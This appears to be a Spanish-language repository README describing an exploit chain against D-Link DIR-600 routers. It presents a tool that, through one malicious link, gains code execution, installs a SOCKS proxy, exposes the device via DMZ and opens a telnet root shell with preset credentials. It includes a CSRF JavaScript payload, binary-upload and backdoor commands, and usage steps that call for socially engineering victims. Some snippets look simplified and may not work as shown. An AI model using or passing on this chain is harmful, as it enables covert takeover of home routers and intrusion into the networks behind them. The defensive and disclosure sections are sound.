/ 6 min de lectura

Cadena de exploits para RCE en el D-Link DIR600

El router inalámbrico D-Link DIR-600

Resumen

Este repositorio contiene una cadena de exploits completa dirigida a routers D-Link DIR600, diseñada para lograr ejecución remota de código y establecer acceso persistente a la red a través de un solo link HTTP. El exploit aprovecha varias vulnerabilidades encadenadas para convertir routers hogareños en armas y crear túneles encubiertos hacia redes internas.

El desafío

El objetivo inicial era tomar control de redes internas explotando vulnerabilidades en routers hogareños. Como estos dispositivos típicamente no están expuestos a internet, el requisito crítico era encontrar vulnerabilidades explotables mediante ataques CSRF (Cross-Site Request Forgery) a través de links web maliciosos.

Restricciones iniciales de la investigación

El cronograma original de la investigación era muy ajustado: solo una semana, sin acceso físico a los dispositivos para debugging y análisis. Después de tres días con poco progreso, cambiamos por completo el enfoque de la investigación.

Sin embargo, esos primeros días dieron información clave sobre los requisitos de vulnerabilidad necesarios para comprometer routers y lograr posicionamiento dentro de la red interna.

Requisitos de la vulnerabilidad

Para una cadena de exploits exitosa, el router objetivo necesitaba cumplir estas condiciones:

  1. Vulnerabilidad CSRF: sin validación de token CSRF
  2. Problemas de autenticación: credenciales por defecto o bypass de autenticación
  3. Mala configuración de CORS: aceptar requests HTTP de cualquier origen (si se usan credenciales por defecto)
  4. Ejecución remota de código: un vector para lograr ejecución de comandos

Cambio de enfoque en la investigación

En lugar de descubrir vulnerabilidades nuevas en dispositivos sin probar, cambiamos el foco a identificar dispositivos existentes que ya cumplieran todos los criterios de vulnerabilidad. El objetivo pasó a ser crear una cadena de exploits completa que combinara estas debilidades para lograr un compromiso total del dispositivo.

Desafíos técnicos

Subida de binarios vía HTTP

El desafío principal era que el router no tenía herramientas propias para establecer reverse shells. Esto requirió:

  • Generar un binario MIPS LSB32 (acorde al procesador del router)
  • Subir el binario en partes a través de requests HTTP
  • Reconstruir el binario usando comandos echo
  • Evitar múltiples restricciones en el procesamiento de requests HTTP

Gracias especiales a Q3rv0 por el trabajo colaborativo en los bypasses de procesamiento de bytes vía HTTP.

Weaponización post-explotación

Después de lograr el acceso inicial, el objetivo se amplió a convertir el router en un arma para acceso persistente:

  • Instalar un servidor proxy SOCKS para tunelizar tráfico
  • Cross-compilar herramientas para arquitectura MIPS LSB
  • Establecer conectividad externa a través de exposición de puertos

El desafío de la exposición de red

Como los routers normalmente no exponen puertos a internet por defecto, establecer conectividad externa requirió:

  • Analizar el comportamiento del router y los mecanismos de port forwarding
  • Entender la implementación interna de DMZ
  • Hacer ingeniería inversa de la creación de reglas de iptables para configuraciones de DMZ

El exploit completo

Capacidades

El exploit automatizado final logra lo siguiente a través de un solo link HTTP:

  • Compromiso completo del router: explota toda la cadena de vulnerabilidades en dispositivos D-Link DIR600
  • Bypass de seguridad: deshabilita las protecciones del router y crea exposición a internet vía DMZ
  • Acceso persistente: instala un servidor proxy SOCKS para tunelizar tráfico desde redes externas
  • Administración remota: habilita acceso telnet con las credenciales root:w00tw00t!
  • Operación encubierta: mantiene apariencia de configuración de fábrica; todos los rastros desaparecen al reiniciar el dispositivo

Impacto en el objetivo

Los datos actuales de Shodan/ZoomEye muestran aproximadamente 7.800 dispositivos vulnerables expuestos a internet:

Dispositivos vulnerables expuestos a Internet Aproximadamente 7.800 dispositivos D-Link DIR600 expuestos a internet, según datos de Shodan/ZoomEye

Nota importante: Estas cifras representan solo los dispositivos expuestos a internet. El exploit puede apuntar a routers internos (típicamente en 192.168.0.1 u otras IPs locales) mediante ataques CSRF a través de links web maliciosos, lo que expande mucho el universo de víctimas potenciales más allá de los dispositivos visibles públicamente.

Estructura del repositorio

├── DMZ/ # DMZ configuration scripts
├── curl_mipsle/ # MIPS cross-compiled curl binary
├── exploit_dir600.html # Main exploit payload
├── firmware/ # Extracted firmware analysis
├── microsocks/ # SOCKS proxy server for MIPS
├── reverse_shells/ # Reverse shell payloads
└── shellcode utilities/ # Shellcode conversion tools

Uso

⚠️ Advertencia: esta herramienta es solo para fines educativos y de testing autorizado. El acceso no autorizado a sistemas informáticos es ilegal.

  1. Alojar el archivo HTML del exploit en un servidor web
  2. Hacer ingeniería social para que el objetivo visite el link malicioso
  3. El exploit ejecuta automáticamente toda la cadena
  4. Acceder al router comprometido a través del proxy SOCKS instalado

Detalles técnicos

  • Objetivo: routers D-Link DIR600
  • Arquitectura: MIPS LSB32
  • Vector de ataque: CSRF vía links web maliciosos
  • Persistencia: temporal (se elimina al reiniciar)
  • Acceso a la red: tunneling vía proxy SOCKS

Flujo de la cadena de exploits

Paso 1: Acceso inicial vía CSRF

El ataque empieza con una página HTML maliciosa que ejecuta ataques CSRF contra el router objetivo:

exploit_dir600.html
<script>
// Target common router IP addresses
var targets = ['192.168.0.1', '192.168.1.1', '10.0.0.1'];
targets.forEach(function(ip) {
// Attempt authentication bypass
var img = new Image();
img.src = 'http://' + ip + '/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=wizard&var:login=true&var:password=&var:action=login';
});
</script>

Paso 2: Subida y reconstrucción del binario

Debido a las capacidades limitadas de ejecución de comandos del router, los binarios se deben subir en partes chicas:

Terminal window
# Example: Upload SOCKS proxy binary
echo -ne '\x7f\x45\x4c\x46' > /tmp/microsocks
echo -ne '\x01\x01\x01\x00' >> /tmp/microsocks
# ... continue for entire binary
chmod +x /tmp/microsocks

Paso 3: Instalación del servicio y configuración de DMZ

Terminal window
# Start SOCKS proxy server
/tmp/microsocks -p 1080 &
# Configure DMZ to expose services
echo "dmz_enable=1" > /tmp/dmz_config
echo "dmz_host=$(nvram get lan_ipaddr)" >> /tmp/dmz_config

Paso 4: Persistencia y limpieza

Terminal window
# Enable telnet access
telnetd -l /bin/sh -p 23 &
# Configure credentials
echo "root:w00tw00t!" | chpasswd
# All processes terminate on reboot for stealth

Evaluación de impacto

Escenarios de penetración en la red

Redes corporativas: empleados trabajando desde casa con routers comprometidos dan acceso directo a redes corporativas internas a través de conexiones VPN.

Botnets de IoT: la explotación masiva crea una red distribuida de routers comprometidos para distintas actividades maliciosas.

Amenazas persistentes avanzadas: acceso de largo plazo a redes internas a través de equipamiento de red hogareño “de confianza”.

Estrategias de defensa

Segmentación de red: aislar las redes de home office de los recursos corporativos críticos.

Gestión de firmware: implementar políticas que exijan actualizaciones regulares de firmware en los routers.

Hardening de autenticación: exigir credenciales fuertes y únicas en todo el equipamiento de red.

Monitoreo de tráfico: monitorear conexiones salientes inusuales desde las direcciones IP de los routers.

Divulgación

Esta investigación demuestra los riesgos de seguridad críticos presentes en equipamiento de red hogareño legado. Las vulnerabilidades explotadas están bien documentadas, y este trabajo busca resaltar la importancia de:

  • Actualizaciones regulares de firmware
  • Cambio de credenciales por defecto
  • Segmentación de red
  • Implementación de protección CSRF

Colaboradores

  • Investigación principal: el equipo de Volt AI
  • Técnicas de bypass HTTP: Q3rv0

Esta investigación se llevó a cabo con fines educativos y de divulgación responsable.

Referencias